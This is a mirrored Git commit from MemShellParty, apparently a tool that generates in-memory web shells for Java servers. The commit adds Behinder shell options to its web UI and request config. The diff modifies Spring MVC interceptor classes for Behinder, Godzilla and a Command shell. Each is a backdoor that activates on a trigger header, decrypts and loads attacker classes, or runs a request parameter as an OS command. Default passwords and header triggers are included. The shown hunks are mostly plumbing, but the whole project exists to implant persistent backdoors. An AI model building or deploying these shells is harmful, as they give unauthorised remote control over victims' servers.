mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: boot-ui support behinder
This commit is contained in:
@@ -33,7 +33,7 @@ jobs:
|
|||||||
- name: Bun Install
|
- name: Bun Install
|
||||||
run: cd web && bun install --frozen-lockfile
|
run: cd web && bun install --frozen-lockfile
|
||||||
- name: Build Web
|
- name: Build Web
|
||||||
run: cd web && bun run build && bash copy-build.sh
|
run: cd web && bun run build
|
||||||
- name: Build with Gradle
|
- name: Build with Gradle
|
||||||
run: ./gradlew :boot:bootjar
|
run: ./gradlew :boot:bootjar
|
||||||
- name: Upload Jar
|
- name: Upload Jar
|
||||||
|
|||||||
@@ -23,6 +23,9 @@ public class GenerateRequest {
|
|||||||
private String godzillaHeaderName;
|
private String godzillaHeaderName;
|
||||||
private String godzillaHeaderValue;
|
private String godzillaHeaderValue;
|
||||||
private String commandParamName;
|
private String commandParamName;
|
||||||
|
private String behinderPass;
|
||||||
|
private String behinderHeaderName;
|
||||||
|
private String behinderHeaderValue;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ShellToolConfig parseShellToolConfig() {
|
public ShellToolConfig parseShellToolConfig() {
|
||||||
@@ -41,6 +44,15 @@ public class GenerateRequest {
|
|||||||
.paramName(shellToolConfig.getCommandParamName())
|
.paramName(shellToolConfig.getCommandParamName())
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (shellConfig.getShellTool().equals(ShellTool.Behinder)) {
|
||||||
|
return BehinderConfig.builder()
|
||||||
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
|
.pass(shellToolConfig.getBehinderPass())
|
||||||
|
.headerName(shellToolConfig.getBehinderHeaderName())
|
||||||
|
.headerValue(shellToolConfig.getBehinderHeaderValue())
|
||||||
|
.build();
|
||||||
|
}
|
||||||
throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -64,6 +64,8 @@ dependencies {
|
|||||||
implementation 'ch.qos.logback:logback-classic:1.+'
|
implementation 'ch.qos.logback:logback-classic:1.+'
|
||||||
implementation 'com.alibaba.fastjson2:fastjson2:2.0.53'
|
implementation 'com.alibaba.fastjson2:fastjson2:2.0.53'
|
||||||
|
|
||||||
|
implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
|
||||||
|
implementation 'org.springframework:spring-web:4.3.30.RELEASE'
|
||||||
implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
|
implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
|
||||||
exclude group: 'org.apache.tomcat', module: 'tomcat-api'
|
exclude group: 'org.apache.tomcat', module: 'tomcat-api'
|
||||||
exclude group: 'org.apache.tomcat', module: 'tomcat-juli'
|
exclude group: 'org.apache.tomcat', module: 'tomcat-juli'
|
||||||
|
|||||||
+12
-3
@@ -1,6 +1,14 @@
|
|||||||
|
plugins {
|
||||||
|
id 'war'
|
||||||
|
}
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
group = 'com.reajason.javaweb'
|
||||||
version = ''
|
version = ''
|
||||||
|
|
||||||
|
repositories {
|
||||||
|
mavenCentral()
|
||||||
|
}
|
||||||
|
|
||||||
java {
|
java {
|
||||||
toolchain {
|
toolchain {
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
@@ -10,9 +18,8 @@ java {
|
|||||||
}
|
}
|
||||||
|
|
||||||
dependencies {
|
dependencies {
|
||||||
implementation 'javax.servlet:javax.servlet-api:3.0.1'
|
implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE'
|
||||||
implementation 'javax.websocket:javax.websocket-api:1.1'
|
implementation 'org.springframework:spring-web:4.3.30.RELEASE'
|
||||||
|
|
||||||
implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
|
implementation('org.apache.tomcat:tomcat-catalina:8.5.58') {
|
||||||
exclude group: 'org.apache.tomcat', module: 'tomcat-api'
|
exclude group: 'org.apache.tomcat', module: 'tomcat-api'
|
||||||
exclude group: 'org.apache.tomcat', module: 'tomcat-juli'
|
exclude group: 'org.apache.tomcat', module: 'tomcat-juli'
|
||||||
@@ -26,4 +33,6 @@ dependencies {
|
|||||||
exclude group: 'org.apache.tomcat', module: 'tomcat-servlet-api'
|
exclude group: 'org.apache.tomcat', module: 'tomcat-servlet-api'
|
||||||
exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api'
|
exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api'
|
||||||
}
|
}
|
||||||
|
providedCompile 'javax.servlet:javax.servlet-api:3.0.1'
|
||||||
|
providedCompile 'javax.websocket:javax.websocket-api:1.1'
|
||||||
}
|
}
|
||||||
+17
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.springmvc.behinder;
|
package com.reajason.javaweb.memshell.springmvc.behinder;
|
||||||
|
|
||||||
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
||||||
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
|
|
||||||
import javax.crypto.Cipher;
|
import javax.crypto.Cipher;
|
||||||
import javax.crypto.spec.SecretKeySpec;
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
@@ -32,6 +33,7 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
|
|||||||
public BehinderInterceptor() {
|
public BehinderInterceptor() {
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||||
try {
|
try {
|
||||||
@@ -55,6 +57,16 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static byte[] base64Decode(String bs) {
|
public static byte[] base64Decode(String bs) {
|
||||||
byte[] value = null;
|
byte[] value = null;
|
||||||
@@ -73,4 +85,9 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
|
|||||||
}
|
}
|
||||||
return value;
|
return value;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||||
|
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+17
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.springmvc.command;
|
package com.reajason.javaweb.memshell.springmvc.command;
|
||||||
|
|
||||||
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
||||||
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
|
|
||||||
import javax.servlet.ServletOutputStream;
|
import javax.servlet.ServletOutputStream;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
@@ -18,6 +19,7 @@ public class CommandInterceptor implements AsyncHandlerInterceptor {
|
|||||||
public CommandInterceptor() {
|
public CommandInterceptor() {
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||||
try {
|
try {
|
||||||
String cmd = request.getParameter(paramName);
|
String cmd = request.getParameter(paramName);
|
||||||
@@ -37,4 +39,19 @@ public class CommandInterceptor implements AsyncHandlerInterceptor {
|
|||||||
}
|
}
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||||
|
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+17
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.memshell.springmvc.godzilla;
|
package com.reajason.javaweb.memshell.springmvc.godzilla;
|
||||||
|
|
||||||
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
||||||
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
|
|
||||||
import javax.crypto.Cipher;
|
import javax.crypto.Cipher;
|
||||||
import javax.crypto.spec.SecretKeySpec;
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
@@ -27,6 +28,7 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
|
|||||||
public GodzillaInterceptor() {
|
public GodzillaInterceptor() {
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||||
try {
|
try {
|
||||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||||
@@ -59,6 +61,16 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static String base64Encode(byte[] bs) throws Exception {
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
String value = null;
|
String value = null;
|
||||||
@@ -112,4 +124,9 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
|
|||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||||
|
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,4 +0,0 @@
|
|||||||
package org.springframework.web.servlet;
|
|
||||||
|
|
||||||
public interface AsyncHandlerInterceptor {
|
|
||||||
}
|
|
||||||
@@ -1,8 +0,0 @@
|
|||||||
package org.springframework.web.servlet;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/22
|
|
||||||
*/
|
|
||||||
public class ModelAndView {
|
|
||||||
}
|
|
||||||
@@ -1,8 +0,0 @@
|
|||||||
package org.springframework.web.servlet.mvc;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/22
|
|
||||||
*/
|
|
||||||
public interface Controller {
|
|
||||||
}
|
|
||||||
+3
-1
@@ -6,4 +6,6 @@ cp dist/vite.svg ../boot/src/main/resources/static/
|
|||||||
cp -R dist/assets/* ../boot/src/main/resources/static/assets/
|
cp -R dist/assets/* ../boot/src/main/resources/static/assets/
|
||||||
|
|
||||||
mkdir -p ../boot/src/main/resources/templates
|
mkdir -p ../boot/src/main/resources/templates
|
||||||
cp dist/index.html ../boot/src/main/resources/templates/index.html
|
cp dist/index.html ../boot/src/main/resources/templates/index.html
|
||||||
|
|
||||||
|
echo "copy success"
|
||||||
+2
-4
@@ -6,7 +6,7 @@
|
|||||||
"scripts": {
|
"scripts": {
|
||||||
"typecheck": "tsc --noEmit",
|
"typecheck": "tsc --noEmit",
|
||||||
"dev": "vite --port=3001",
|
"dev": "vite --port=3001",
|
||||||
"build": "tsc -b && vite build --mode production",
|
"build": "tsc -b && vite build --mode production && bash copy-build.sh",
|
||||||
"serve": "vite preview",
|
"serve": "vite preview",
|
||||||
"check": "bunx @biomejs/biome check ./ --write",
|
"check": "bunx @biomejs/biome check ./ --write",
|
||||||
"start": "vite"
|
"start": "vite"
|
||||||
@@ -53,7 +53,5 @@
|
|||||||
"tailwindcss-animate": "^1.0.7",
|
"tailwindcss-animate": "^1.0.7",
|
||||||
"zod": "^3.24.1"
|
"zod": "^3.24.1"
|
||||||
},
|
},
|
||||||
"trustedDependencies": [
|
"trustedDependencies": ["@biomejs/biome"]
|
||||||
"@biomejs/biome"
|
|
||||||
]
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -271,6 +271,43 @@ export function MainConfigCard({
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
{form.getValues().shellTool === "Behinder" && (
|
||||||
|
<div className="space-y-1">
|
||||||
|
<Label>Behinder 配置</Label>
|
||||||
|
<div className="grid grid-cols-2 gap-2">
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="behinderPass"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="space-y-1 flex items-center justify-start">
|
||||||
|
<Label className="text-xs whitespace-nowrap w-1/2">密码:</Label>
|
||||||
|
<Input {...field} placeholder="Pass" className="h-8" />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="behinderHeaderName"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="space-y-1 flex items-center justify-start">
|
||||||
|
<Label className="text-xs whitespace-nowrap w-1/2">请求头键:</Label>
|
||||||
|
<Input {...field} placeholder="Header Name" className="h-8" />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
<FormField
|
||||||
|
control={form.control}
|
||||||
|
name="behinderHeaderValue"
|
||||||
|
render={({ field }) => (
|
||||||
|
<FormItem className="space-y-1 flex items-center justify-start">
|
||||||
|
<Label className="text-xs whitespace-nowrap w-1/2">请求头值:</Label>
|
||||||
|
<Input {...field} placeholder="Header Value" className="h-8" />
|
||||||
|
</FormItem>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
{form.getValues().shellTool === "Command" && (
|
{form.getValues().shellTool === "Command" && (
|
||||||
<FormField
|
<FormField
|
||||||
control={form.control}
|
control={form.control}
|
||||||
|
|||||||
@@ -44,6 +44,9 @@ function IndexComponent() {
|
|||||||
godzillaHeaderName: "User-Agent",
|
godzillaHeaderName: "User-Agent",
|
||||||
godzillaHeaderValue: "test",
|
godzillaHeaderValue: "test",
|
||||||
commandParamName: "cmd",
|
commandParamName: "cmd",
|
||||||
|
behinderPass: "pass",
|
||||||
|
behinderHeaderName: "User-Agent",
|
||||||
|
behinderHeaderValue: "test",
|
||||||
injectorClassName: "",
|
injectorClassName: "",
|
||||||
packingMethod: "Base64",
|
packingMethod: "Base64",
|
||||||
},
|
},
|
||||||
@@ -56,11 +59,16 @@ function IndexComponent() {
|
|||||||
|
|
||||||
async function onSubmit(values: FormSchema) {
|
async function onSubmit(values: FormSchema) {
|
||||||
startTransition(async () => {
|
startTransition(async () => {
|
||||||
if (values.shellType.endsWith("Servlet") && values.urlPattern === "/*") {
|
if (values.shellType.endsWith("Servlet") && (values.urlPattern === "/*" || !values.urlPattern)) {
|
||||||
toast.warning("Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet");
|
toast.warning("Servlet 类型的需要填写具体的 URL Pattern,例如 /hello_servlet");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (values.shellType.endsWith("ControllerHandler") && (values.urlPattern === "/*" || !values.urlPattern)) {
|
||||||
|
toast.warning("ControllerHandler 类型的需要填写具体的 URL Pattern,例如 /hello_controller");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
const postData = transformToPostData(values);
|
const postData = transformToPostData(values);
|
||||||
try {
|
try {
|
||||||
const response = await fetch(`${env.API_URL}/generate`, {
|
const response = await fetch(`${env.API_URL}/generate`, {
|
||||||
|
|||||||
@@ -13,6 +13,9 @@ export const formSchema = z.object({
|
|||||||
godzillaKey: z.optional(z.string()),
|
godzillaKey: z.optional(z.string()),
|
||||||
godzillaHeaderName: z.optional(z.string()),
|
godzillaHeaderName: z.optional(z.string()),
|
||||||
godzillaHeaderValue: z.optional(z.string()),
|
godzillaHeaderValue: z.optional(z.string()),
|
||||||
|
behinderPass: z.optional(z.string()),
|
||||||
|
behinderHeaderName: z.optional(z.string()),
|
||||||
|
behinderHeaderValue: z.optional(z.string()),
|
||||||
commandParamName: z.optional(z.string()),
|
commandParamName: z.optional(z.string()),
|
||||||
injectorClassName: z.optional(z.string()),
|
injectorClassName: z.optional(z.string()),
|
||||||
packingMethod: z.string().min(1, { message: "请选择打包方式" }),
|
packingMethod: z.string().min(1, { message: "请选择打包方式" }),
|
||||||
|
|||||||
@@ -15,6 +15,9 @@ export interface ShellToolConfig {
|
|||||||
godzillaHeaderName?: string;
|
godzillaHeaderName?: string;
|
||||||
godzillaHeaderValue?: string;
|
godzillaHeaderValue?: string;
|
||||||
commandParamName?: string;
|
commandParamName?: string;
|
||||||
|
behinderPass?: string;
|
||||||
|
behinderHeaderName?: string;
|
||||||
|
behinderHeaderValue?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface CommandShellToolConfig {
|
export interface CommandShellToolConfig {
|
||||||
|
|||||||
@@ -16,6 +16,9 @@ export function transformToPostData(formValue: FormSchema) {
|
|||||||
godzillaHeaderName: formValue.godzillaHeaderName,
|
godzillaHeaderName: formValue.godzillaHeaderName,
|
||||||
godzillaHeaderValue: formValue.godzillaHeaderValue,
|
godzillaHeaderValue: formValue.godzillaHeaderValue,
|
||||||
commandParamName: formValue.commandParamName,
|
commandParamName: formValue.commandParamName,
|
||||||
|
behinderPass: formValue.behinderPass,
|
||||||
|
behinderHeaderName: formValue.behinderHeaderName,
|
||||||
|
behinderHeaderValue: formValue.behinderHeaderValue,
|
||||||
};
|
};
|
||||||
|
|
||||||
const injectorConfig: InjectorConfig = {
|
const injectorConfig: InjectorConfig = {
|
||||||
|
|||||||
Reference in New Issue
Block a user